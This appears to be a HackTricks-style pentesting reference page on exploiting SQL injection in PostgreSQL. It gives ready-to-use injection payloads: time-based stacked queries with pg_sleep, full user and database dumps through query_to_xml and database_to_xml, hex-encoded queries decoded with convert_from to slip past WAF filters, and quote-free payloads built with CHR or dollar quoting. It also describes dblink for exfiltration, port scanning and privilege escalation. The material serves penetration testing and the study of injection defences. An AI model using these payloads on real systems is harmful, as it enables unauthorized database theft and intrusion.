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PostgreSQL injection

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This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration

dblink is a PostgreSQL module that offers several interesting options from the attacker point of view. It can be used to connect to other PostgreSQL instances of perform TCP connections.
These functionalities along with the COPY FROM functionality can be used to escalate privileges, perform port scanning or grab NTLM challenge responses.
You can read here how to perform these attacked.

Exfiltration example using dblink and large objects

You can read this example to see a CTF example of how to load data inside large objects and then exfiltrate the content of large objects inside the username of the function dblink_connect.

PostgreSQL Attacks: Read/write, RCE, privesc

Check how to compromise the host and escalate privileges from PostgreSQL in:

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

WAF bypass

PostgreSQL String functions

Manipulating strings could help you to bypass WAFs or other restrictions.
In this page you can find some useful Strings functions.

Stacked Queries

Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML tricks

query_to_xml

This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

This function will dump the whole database in XML format in just 1 row (be careful if the database is very big as you may DoS it or even your own client):

SELECT database_to_xml(true,true,'');

Strings in Hex

If you can run queries passing them inside a string (for example using the query_to_xml function). You can use the convert_from to pass the string as hex and bypass filters this way:

{% code overflow="wrap" %}

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

Forbidden quotes

If cannot use quotes for your payload you could bypass this with CHR for basic clauses (character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Or with $. This queries return the same results:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;


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